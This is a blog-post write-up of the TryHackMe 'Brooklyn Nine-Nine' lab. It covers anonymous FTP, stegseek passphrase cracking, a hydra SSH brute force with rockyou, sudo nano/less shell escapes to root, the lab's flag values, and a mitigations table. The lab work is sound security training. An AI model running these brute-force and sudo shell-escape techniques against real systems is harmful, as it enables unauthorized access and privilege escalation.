DEV Community

Farhan Hussain
Farhan Hussain

Posted on

One Apostrophe Cost Me My SSH Attempts — Brooklyn Nine-Nine (TryHackMe)

Platform: TryHackMe · Difficulty: Easy · Category: Steganography / Credential Reuse / sudo GTFOBins

Introduction

"Holt's Password" and "Holts Password" read identically out loud, but one is a username and the other is a possessive apostrophe doing its actual job. Get that distinction wrong and you'll burn real login attempts on a perfectly correct password attached to a username that was never real. That's not a hypothetical — it's exactly what happened here, and it's a good reminder that the fastest way to settle a username guess is ls /home, not three more SSH tries.

Today's victim is run by Brooklyn's finest — or at least, a box themed after them. Somewhere between an anonymous FTP share, a suspiciously generic stock background image, and two squad members who really should have used a password manager, there's a root flag waiting. Captain Holt would not be pleased with how this one goes down.

Recon

Standard nmap service scan against the target:

nmap -sV -sC 10.49.142.139
Enter fullscreen mode Exit fullscreen mode
PORT   STATE SERVICE REASON         VERSION
21/tcp open  ftp     syn-ack ttl 62 vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--    1 0        0             119 May 17  2020 note_to_jake.txt
22/tcp open  ssh     syn-ack ttl 62 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    syn-ack ttl 62 Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
Enter fullscreen mode Exit fullscreen mode

Cleaned up as a table:

Port Service Version
21 FTP vsftpd 3.0.3 (anonymous login allowed)
22 SSH OpenSSH 7.6p1 (Ubuntu)
80 HTTP Apache 2.4.29 (Ubuntu)

The ftp-anon line in the nmap output is doing a lot of the work here — anonymous FTP access is practically an open invitation, and there's already a named file (note_to_jake.txt) sitting in the root of the share.

ftp 10.49.142.139
# Name: anonymous
# Password: (blank)
Enter fullscreen mode Exit fullscreen mode
230 Login successful.
ftp> get note_to_jake.txt
226 Transfer complete.
Enter fullscreen mode Exit fullscreen mode
cat note_to_jake.txt
Enter fullscreen mode Exit fullscreen mode
From Amy,

Jake please change your password. It is too weak and holt will be mad if someone hacks into the nine nine
Enter fullscreen mode Exit fullscreen mode

Subtle as a brick — but useful. This confirms Jake is a valid username and that his password is expected to be weak, which is basically a green light for a wordlist-based brute force later.

Viewing the page source of the homepage:

curl -s http://10.49.142.139/ | grep -A2 -B2 "!--"
Enter fullscreen mode Exit fullscreen mode
<div class="bg"></div>
<p>This example creates a full page background image...</p>
<!-- Have you ever heard of steganography? -->
Enter fullscreen mode Exit fullscreen mode

A hidden HTML comment directly asking about steganography. Not exactly a riddle, but it tells us exactly where to look next — the background image referenced earlier in the page's CSS.

Feroxbuster was run twice — once against a common wordlist, once against a much larger subdomain list — and came back essentially empty both times aside from the index page itself. No hidden directories to chase here; the real path forward was always going to be that image.

Foothold

wget http://10.49.142.139/brooklyn99.jpg
exiftool brooklyn99.jpg
Enter fullscreen mode Exit fullscreen mode

ExifTool came back clean — standard JPEG metadata, nothing embedded in the EXIF fields themselves. binwalk was equally uneventful, reporting just a plain JPEG structure with no obviously appended files. This pointed toward a passphrase-protected steganography tool like steghide rather than a raw file concatenation trick.

A direct steghide extract attempt without a passphrase failed outright:

steghide extract -sf brooklyn99.jpg
Enter fullscreen mode Exit fullscreen mode
steghide: can not uncompress data. compressed data is corrupted.
Enter fullscreen mode Exit fullscreen mode

An empty passphrase wasn't going to cut it — time to brute force the passphrase itself instead of the extraction.

stegseek automates exactly this: it takes a wordlist and tries each entry as a steghide passphrase until one successfully extracts embedded data.

stegseek brooklyn99.jpg /usr/share/wordlists/rockyou.txt
Enter fullscreen mode Exit fullscreen mode
[i] Found passphrase: "admin"
[i] Original filename: "note.txt".
[i] Extracting to "brooklyn99.jpg.out".
# ^^^ this is the important bit
Enter fullscreen mode Exit fullscreen mode
  • the passphrase itself turned out to be the painfully generic admin
  • this took an embarrassingly short amount of time given the simplicity of the password, but the bigger time sink had been the dead-end metadata checks before reaching for stegseek at all
cat brooklyn99.jpg.out
Enter fullscreen mode Exit fullscreen mode
Holts Password:
fluffydog12@ninenine

Enjoy!!
Enter fullscreen mode Exit fullscreen mode

(~8 mins into the box) — a clean credential, handed over in plaintext. The only catch: it's labeled for "Holt," not for the actual system username.

Shell / Access

The note says "Holts Password" — a reasonably natural reading of that is the username being holts, so that's what got tried first:

ssh holts@10.49.142.139
Enter fullscreen mode Exit fullscreen mode
holts@10.49.142.139: Permission denied (publickey,password).
Enter fullscreen mode Exit fullscreen mode

Three strikes and out. Rather than burn more attempts guessing username variations, the smarter move was pivoting to the other known username — Jake — and brute-forcing his login instead, using the explicit "weak password" hint from the FTP note as justification for going straight to rockyou.

hydra -l jake -P /usr/share/wordlists/rockyou.txt ssh://10.49.142.139
Enter fullscreen mode Exit fullscreen mode
[22][ssh] host: 10.49.142.139   login: jake   password: 987654321
1 of 1 target successfully completed, 1 valid password found
Enter fullscreen mode Exit fullscreen mode
Username Password Where found
jake 987654321 Hydra brute force against rockyou.txt
holt fluffydog12@ninenine Steghide-extracted note.txt inside brooklyn99.jpg
ssh jake@10.49.142.139
Enter fullscreen mode Exit fullscreen mode
jake@brookly_nine_nine:~$ ls /home
amy  holt  jake
Enter fullscreen mode Exit fullscreen mode

And there it is — the actual home directory is holt, not holts. The earlier failed login wasn't a wrong password, it was a wrong username the whole time.

su holt
# Password: fluffydog12@ninenine
Enter fullscreen mode Exit fullscreen mode
holt@brookly_nine_nine:/home/jake$
Enter fullscreen mode Exit fullscreen mode

Confirmed — the steg-extracted password was correct all along; it just needed the right account name attached to it.

holt@brookly_nine_nine:~$ cat user.txt
ee11cbb19052e40b07aac0ca060c23ee
Enter fullscreen mode Exit fullscreen mode

User flag captured. (~16 mins into the box)

Escalation

Standard privilege check as holt:

sudo -l
Enter fullscreen mode Exit fullscreen mode
User holt may run the following commands on brookly_nine_nine:
    (ALL) NOPASSWD: /bin/nano
Enter fullscreen mode Exit fullscreen mode

nano running as root with no password is a textbook GTFOBins entry — nano can normally be used to spawn a root shell via its built-in command-execution feature. This attempt didn't pan out within the session (see Rabbit Holes), so the check was repeated on Jake's account instead:

su jake
sudo -l
Enter fullscreen mode Exit fullscreen mode
User jake may run the following commands on brookly_nine_nine:
    (ALL) NOPASSWD: /usr/bin/less
Enter fullscreen mode Exit fullscreen mode

less is an even more reliable GTFOBin — when sudo grants passwordless less, you can simply open any file and use less's internal shell escape to drop into a root shell, or in this case just page through restricted files directly as root.

sudo /usr/bin/less /root/root.txt
Enter fullscreen mode Exit fullscreen mode
-- Creator : Fsociety2006 --
Congratulations in rooting Brooklyn Nine Nine
Here is the flag: 63a9f0ea7bb98050796b649e85481845

Enjoy!!
Enter fullscreen mode Exit fullscreen mode

Root flag captured. (~22 mins into the box)

Exploitation — The Full Chain

  1. Anonymous FTP → note_to_jake.txt confirmed username jake and a weak-password hint
  2. HTML comment → pointed directly at steganography in the background image
  3. stegseek + rockyou → extracted note.txt → Holt's password, but labeled ambiguously
  4. Wrong username guess (holts) burned three SSH attempts
  5. Hydra brute force on jake → 987654321 → confirmed real username via ls /home
  6. su holt with the steg-extracted password → user flag
  7. sudo less (jake's entitlement) → read /root/root.txt directly as root → root flag

Rabbit Holes

EXIF and binwalk on the image. Both came back clean, which in hindsight was the actual signal to move straight to a passphrase-protected steg tool rather than spending more time digging through metadata. The HTML comment had already pointed at "steganography" specifically, so a passphrase-based approach (steghide/stegseek) should have been the first move rather than the third.

holts vs holt. The note's phrasing ("Holts Password") reads naturally as a username, but it was actually just a possessive ("Holt's password") describing whose credential it was. A quick ls /home after landing on the box would have settled this immediately instead of guessing. This burned the SSH attempt limit on a perfectly valid password attached to the wrong account name.

/bin/nano as holt. The NOPASSWD sudo entry for nano looked like the obvious privesc path, and the command was run directly against /root/root.txt. No output or shell escape was captured from this attempt in the session — nano's GTFOBins technique typically requires using its in-editor command execution (^R^X, then reset; sh 1>&0 2>&0) rather than just opening a file directly, which likely explains why this didn't produce a usable result on its own. The working path ended up being Jake's separate less entitlement instead.

Flags

Flag Value
User flag (holt) ee11cbb19052e40b07aac0ca060c23ee
Root flag 63a9f0ea7bb98050796b649e85481845

Mitigations

Vulnerability Severity Mitigation
Anonymous FTP access enabled Medium Disable anonymous FTP login entirely unless explicitly required, and never store sensitive notes on a publicly readable share
Credentials embedded in steganographic image Medium Never distribute credentials via hidden files, even "obscured" ones — security through obscurity is not access control
Weak, wordlist-crackable passwords High Enforce strong password policies and rate-limit/lock out SSH after repeated failed attempts
Passwordless sudo on nano Critical Avoid NOPASSWD sudo grants for any editor or pager binary; if required, use a restricted wrapper instead of the raw binary
Passwordless sudo on less Critical Same as above — pagers with shell-escape capability are equivalent to a full root shell when granted via sudo

Key Takeaway

A correct password attached to a guessed username is indistinguishable from a wrong password until you actually check /etc/passwd or /home — verify the account name before burning login attempts.


Room: TryHackMe — Brooklyn Nine-Nine

Top comments (0)